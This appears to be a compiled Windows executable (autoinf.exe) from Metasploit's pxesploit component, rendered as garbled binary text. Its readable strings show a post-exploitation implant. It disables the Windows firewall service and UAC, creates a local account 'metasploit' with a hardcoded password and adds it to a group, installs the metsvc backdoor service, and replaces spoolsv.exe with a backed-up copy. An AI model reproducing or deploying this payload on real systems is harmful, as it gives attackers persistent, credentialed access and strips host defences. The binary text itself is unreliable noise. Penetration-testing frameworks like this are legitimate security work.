Path: blob/master/external/source/pxesploit/autoinf/Release/autoinf.exe
28055 views
MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. $ _���i��i��i�<V� �i��h� �i�����i�����i�Rich�i� PE L ��N � @ @ @� " P 0 \ P .text : `.rdata @ @.reloc � 0 @ B U���� hP @ hp @ � @ P�, @ �E��}� t�E�P�U�h ��`���Q�$ @ ��`���R�0 @ Džl��� ��\���Ph j h| @ h �� @ j��l���Qjj h� @ ��\���R� @ ��\���P� @ DžX��� �M�Qh j h� @ h �� @ j��X���Rjj h� @ �E�P� @ �M�Q� @ �E�� @ �E�!@ �E� �E� �E�0!@ �E� �E� j �U�Rjj � �E��}� �� DžL���D ��L���Pj �( @ ��(�����L���Q��(���Rj j� @ DžD��� DžH��� ��,���P��H���Q��0���R��D���P��8���Q��(���Rj � @ �E���P���j��P���Qj��8���Rj �Z Dž$��� ���$�������$�����$���Ds ��$����D � ��Dž ��� ��� ������� ����� ���s�� ���Ƅp��� �}� t,��p���Q�U�Rj j h j j j h4!@ hP!@ �4 @ �*��p���P�M�Qj j h j j j hd!@ h�!@ �4 @ �E�D �U�Rj �( @ ��T����E�P��T���Qj j� @ j j j ��T���Rjjh�!@ � @ j j j ��T���Pjjh�!@ � @ h�!@ h�!@ � @ ��uh�!@ �< @ jd�8 @ ��]��%H @ �%D @ Z# �# �# �# �# r# *# # �" # �" �" �" �" ># �# �# Wow64DisableWow64FsRedirection kernel32 SYSTEM\CurrentControlSet\Services\MpsSvc Start SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA m e t a s p l o i t p @ S S w 0 r d ! 1 2 3 4 5 6 metsvc.exe install-service SysWOW64\metsvc.exe metsvc.exe install-service System32\metsvc.exe System32\spoolsv.exe System32\spoolsv.bak.exe System32\spoolsv.exe System32\spoolsv.bak.exe System32\spoolsv.exe �" L# d" �# �" $ D Z# �# �# �# �# r# *# # �" # �" �" �" �" ># �# �# �GetWindowsDirectoryA !Sleep � CreateProcessA �SetCurrentDirectoryA GetProcAddress �LocalAlloc MoveFileA �GetModuleHandleA � DeleteFileA KERNEL32.dll �SetNamedSecurityInfoA wRegSetValueExA ZRegOpenKeyExA �LookupAccountSidW *RegCloseKey CreateWellKnownSid ADVAPI32.dll � NetUserAdd � NetLocalGroupAddMembers NETAPI32.dll \ 000 0>0K0h0s0�0�0�0�0�0�0�0�0�0�0 1P1n1�1`2e2k2�2�2�2�2�2�2�2�2�233 33 3$30363